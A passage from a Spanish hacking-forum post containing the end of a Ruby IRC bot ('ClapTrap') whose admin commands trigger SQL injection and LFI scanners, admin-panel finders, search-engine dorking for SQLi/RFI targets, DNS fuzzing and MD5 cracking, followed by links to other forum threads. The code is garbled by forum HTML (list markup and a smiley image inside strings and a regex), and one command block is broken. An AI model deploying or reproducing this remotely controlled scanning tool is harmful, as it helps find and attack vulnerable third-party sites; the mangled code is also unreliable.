    641.       sleep $timeout.to_i
    642.   end
    643. end
    644. end
    645.  
    646. def bot_online(host,port,canal,admin)
    647.  print "\n</li><li type="square"> Connecting ...\n"[/li][/list]
    648.  begin
    649.    $irc = TCPSocket.open(host,port)
    650.  rescue
    651.    print "\n[-] Error connecting\n"
    652.  else
    653.    nick = "ClapTrap"
    654.    $irc.print "NICK "+nick+"\r\n"
    655.    $irc.print "USER "+nick+" 1 1 1 1\r\n"
    656.    $irc.print "JOIN #{canal}\r\n"
    657.    print "\n</li><li type="square"> Online\n"[/li][/list]
    658.    while 1
    659.      code = $irc.recv(9999)  
    660.      if code=~/PING (.*)/
    661.        $irc.print "PONG #{$1}\n"
    662.      end
    663.      if code=~/:(.*)!(.*) PRIVMSG (.*) <img src="https://underc0de.org/foro/Smileys/default/sad.gif" alt="&#58;&#40;" title="Triste" class="smiley" />.*)/
    664.         dedonde = $1
    665.         mensaje = $4
    666.         if dedonde==admin
    667.      
    668.      if mensaje=~/!sqli (.*)/
    669.       arg1 = $1
    670.       arg1 = arg1.chomp
    671.       $irc.print "PRIVMSG #{admin} </li><li type="square"> Working ...\n"[/li][/list]
    672.       respuesta(admin,scanner_sqli(arg1,"--"))
    673.       $irc.print "PRIVMSG #{admin} </li><li type="square"> Finished\n"[/li][/list]
    674.          end
    675.          if mensaje=~/!lfi (.*)/
    676.       arg1 = $1
    677.       arg1 = arg1.chomp
    678.       $irc.print "PRIVMSG #{admin} </li><li type="square"> Working ...\n"[/li][/list]
    679.       respuesta(admin,scanner_lfi(arg1))
    680.       $irc.print "PRIVMSG #{admin} </li><li type="square"> Finished\n"[/li][/list]
    681.          end
    682.          if mensaje=~/!panel(.*)/
    683.       arg1 = $1
    684.       arg1 = arg1.chomp
    685.       $irc.print "PRIVMSG #{admin} </li><li type="square"> Working ...\n"[/li][/list]
    686.       respuesta(admin,scanner_panel(arg1))
    687.       $irc.print "PRIVMSG #{admin} </li><li type="square"> Finished\n"[/li][/list]
    688.          end
    689.          if mensaje=~/!fuzzdns (.*)/
    690.       arg1 = $1
    691.       arg1 = arg1.chomp
    692.       $irc.print "PRIVMSG #{admin} </li><li type="square"> Working ...\n"[/li][/list]
    693.       respuesta(admin,scanner_dns(arg1))
    694.       $irc.print "PRIVMSG #{admin} </li><li type="square"> Finished\n"[/li][/list]
    695.          end
    696.          if mensaje=~/!locateip (.*)/
    697.       arg1 = $1
    698.       arg1 = arg1.chomp
    699.       $irc.print "PRIVMSG #{admin} </li><li type="square"> Working ...\n"[/li][/list]
    700.       respuesta(admin, locateip(arg1))
    701.       $irc.print "PRIVMSG #{admin} </li><li type="square"> Finished\n"[/li][/list]
    702.          end
    703.          if mensaje=~/!sqlifinder (.*) (.*) (.*)/
    704.       arg1 = $1
    705.       arg2 = $2
    706.       arg3 = $3
    707.       arg1 = arg1.chomp
    708.       arg2 = arg2.chomp
    709.       arg3 = arg3.chomp
    710.       $irc.print "PRIVMSG #{admin} </li><li type="square"> Working ...\n"[/li][/list]
    711.       respuesta(admin,sqli_finder(arg1,arg2,arg3))
    712.       $irc.print "PRIVMSG #{admin} </li><li type="square"> Finished\n"[/li][/list]
    713.          end
    714.          if mensaje=~/!rfifinder (.*) (.*) (.*)/
    715.       arg1 = $1
    716.       arg1 = $2
    717.       arg1 = $3
    718.       arg1 = arg1.chomp
    719.       arg2 = arg2.chomp
    720.       arg3 = arg3.chomp
    721.      $irc.print "PRIVMSG #{admin} </li><li type="square"> Working ...\n"[/li][/list]
    722.       respuesta(admin,rfi_finder(arg1,arg2,arg3))
    723.       $irc.print "PRIVMSG #{admin} </li><li type="square"> Finished\n"[/li][/list]
    724.          end
    725.          if mensaje=~/!crackit (.*)/
    726.       arg1 = $1
    727.       arg1 = arg1.chomp
    728.       $irc.print "PRIVMSG #{admin} </li><li type="square"> Working ...\n"[/li][/list]
    729.       respuesta(admin,crack_md5(arg1))
    730.       $irc.print "PRIVMSG #{admin} </li><li type="square"> Finished\n"[/li][/list]
    731.          end
    732.          if mensaje=~/!tinyurl (.*)/
    733.       arg1 = $1
    734.       arg1 = arg1.chomp
    735.       $irc.print "PRIVMSG #{admin} </li><li type="square"> Working ...\n"[/li][/list]
    736.       respuesta(admin,tiny_url(arg1))
    737.       $irc.print "PRIVMSG #{admin} </li><li type="square"> Finished\n"[/li][/list]
    738.          end
    739.          if mensaje=~/!httpfinger (.*)/
    740.       arg1 = $1
    741.       arg1 = arg1.chomp
    742.       $irc.print "PRIVMSG #{admin} </li><li type="square"> Working ...\n"[/li][/list]
    743.       respuesta(admin,get_httpfinger(arg1))
    744.       $irc.print "PRIVMSG #{admin} </li><li type="square"> Finished\n"[/li][/list]
    745.          end
    746.          if mensaje=~/!md5 (.*)/
    747.       arg1 = $1
    748.       arg1 = arg1.chomp
    749.       $irc.print "PRIVMSG #{admin} </li><li type="square"> Working ...\n"[/li][/list]
    750.       respuesta(admin,md5_encode(arg1))
    751.       $irc.print "PRIVMSG #{admin} </li><li type="square"> Finished\n"[/li][/list]
    752.          end
    753.          if mensaje=~/!base64 (.*) (.*)/
    754.       arg1 = $1
    755.       arg2 = $2
    756.       arg1 = arg1.chomp
    757.       arg2 = arg2.chomp
    758.       if arg2=="encode"
    759.        $irc.print "PRIVMSG #{admin} </li><li type="square"> Working ...\n"[/li][/list]
    760.        respuesta(admin,codificar_base64(arg1))
    761.        $irc.print "PRIVMSG #{admin} </li><li type="square"> Finished\n"    [/li][/list]
    762.            end
    763.       if arg2=="decode"
    764.        $irc.print "PRIVMSG #{admin} </li><li type="square"> Working ...\n"[/li][/list]
    765.        respuesta(admin,decodificar_base64(arg1))
    766.        $irc.print "PRIVMSG #{admin} </li><li type="square"> Finished\n"    [/li][/list]
    767.            end              
    768.          end
    769.  
    770.          if mensaje=~/!hex (.*) (.*)/
    771.       arg1 = $1
    772.       arg2 = $2
    773.       arg1 = arg1.chomp
    774.       arg2 = arg2.chomp
    775.       if arg2=="encode"
    776.        $irc.print "PRIVMSG #{admin} </li><li type="square"> Working ...\n"[/li][/list]
    777.        respuesta(admin,codificar_hex(arg1))
    778.        $irc.print "PRIVMSG #{admin} </li><li type="square"> Finished\n"    [/li][/list]
    779.            end
    780.       if arg2=="decode"
    781.        $irc.print "PRIVMSG #{admin} </li><li type="square"> Working ...\n"[/li][/list]
    782.        respuesta(admin,decodificar_hex(arg1))
    783.        $irc.print "PRIVMSG #{admin} </li><li type="square"> Finished\n"    [/li][/list]
    784.            end              
    785.          end
    786.  
    787.    
    788.          if mensaje=~/!ascii (.*)/
    789.       arg1 = $1
    790.       arg1 = arg1.chomp
    791.       $irc.print "PRIVMSG #{admin} </li><li type="square"> Working ...\n"[/li][/list]
    792.       respuesta(admin,codificar_ascii(arg1))
    793.       $irc.print "PRIVMSG #{admin} </li><li type="square"> Finished\n"[/li][/list]
    794.          end
    795.          if mensaje=~/!help/
    796.      about = ""
    797.           about = about + "Hi , I am ClapTrap an assistant robot programmed by Doddy Hackman in the year 2014" + "\n";
    798.                about = about + "[++] Commands" + "\n";
    799.                about = about + "</li><li type="square"> !help" + "\n";[/li][/list]
    800.      about = about + "</li><li type="square"> !locateip <web>" + "\n";[/li][/list]
    801.                about = about + "</li><li type="square"> !sqlifinder <dork> <count pages> <google/bing>" + "\n";[/li][/list]
    802.                about = about + "</li><li type="square"> !rfifinder <dork> <count pages> <google/bing>" + "\n";[/li][/list]
    803.                about = about + "</li><li type="square"> !panel <page>" + "\n";[/li][/list]
    804.                about = about + "</li><li type="square"> !fuzzdns <domain>" + "\n";[/li][/list]
    805.                about = about + "</li><li type="square"> !sqli <page>" + "\n";[/li][/list]
    806.      about = about + "</li><li type="square"> !lfi <page>" + "\n";[/li][/list]
    807.      about = about + "</li><li type="square"> !crackit <hash>" + "\n";[/li][/list]
    808.                about = about + "</li><li type="square"> !tinyurl <page>" + "\n";[/li][/list]
    809.                about = about + "</li><li type="square"> !httpfinger <page>" + "\n";[/li][/list]
    810.           about = about + "</li><li type="square"> !md5 <text>" + "\n";[/li][/list]
    811.                about = about + "</li><li type="square"> !base64 <encode/decode> <text>" + "\n";[/li][/list]
    812.                about = about + "</li><li type="square"> !ascii <encode/decode> <text>" + "\n";[/li][/list]
    813.                about = about + "</li><li type="square"> !hex <encode/decode> <text>" + "\n";[/li][/list]
    814.                about = about + "[++] Enjoy this IRC Bot" + "\n";
    815.      respuesta(admin,about)
    816.          end
    817.         end
    818.      end
    819.    end
    820.  end
    821. end
    822.  
    823. head()
    824.  
    825. print "</li><li type="square"> Host : "[/li][/list]
    826. host = gets.chomp
    827. print "\n</li><li type="square"> Port : "[/li][/list]
    828. port = gets.chomp
    829. print "\n</li><li type="square"> Channel : "[/li][/list]
    830. channel = gets.chomp
    831. print "\n</li><li type="square"> Admin : "[/li][/list]
    832. admin = gets.chomp
    833.  
    834. bot_online(host,port,channel,admin)
    835.  
    836. copyright()
    837.  
    838. # The End ?
    839.  

    Eso es todo.

 

[Ruby] Traductor de Decimal a Ascii / Ascii a Decimal

Iniciado por ANTRAX

Respuestas: 0
Vistas: 2853
Último mensaje Febrero 24, 2010, 04:16:38 pm
por ANTRAX
Lenguaje Ruby, aprendiendo poco a poco.

Iniciado por Alejandro_99

Respuestas: 2
Vistas: 3161
Último mensaje Agosto 15, 2013, 02:58:39 pm
por Alejandro_99
Crafting rails 4 applications (Manual de Ruby on Rails 4)

Iniciado por Alejandro_99

Respuestas: 0
Vistas: 1997
Último mensaje Marzo 01, 2014, 05:34:50 pm
por Alejandro_99
Desarrollo de aplicaciones Perl, PHP, Python y "Ruby on Rails"

Iniciado por Alejandro_99

Respuestas: 0
Vistas: 2475
Último mensaje Junio 13, 2014, 03:27:08 pm
por Alejandro_99
Como Instalar RubyMine y Crear un proyecto vacio para Ruby y Rails

Iniciado por Alejandro_99

Respuestas: 0
Vistas: 2900
Último mensaje Julio 07, 2013, 10:51:08 pm
por Alejandro_99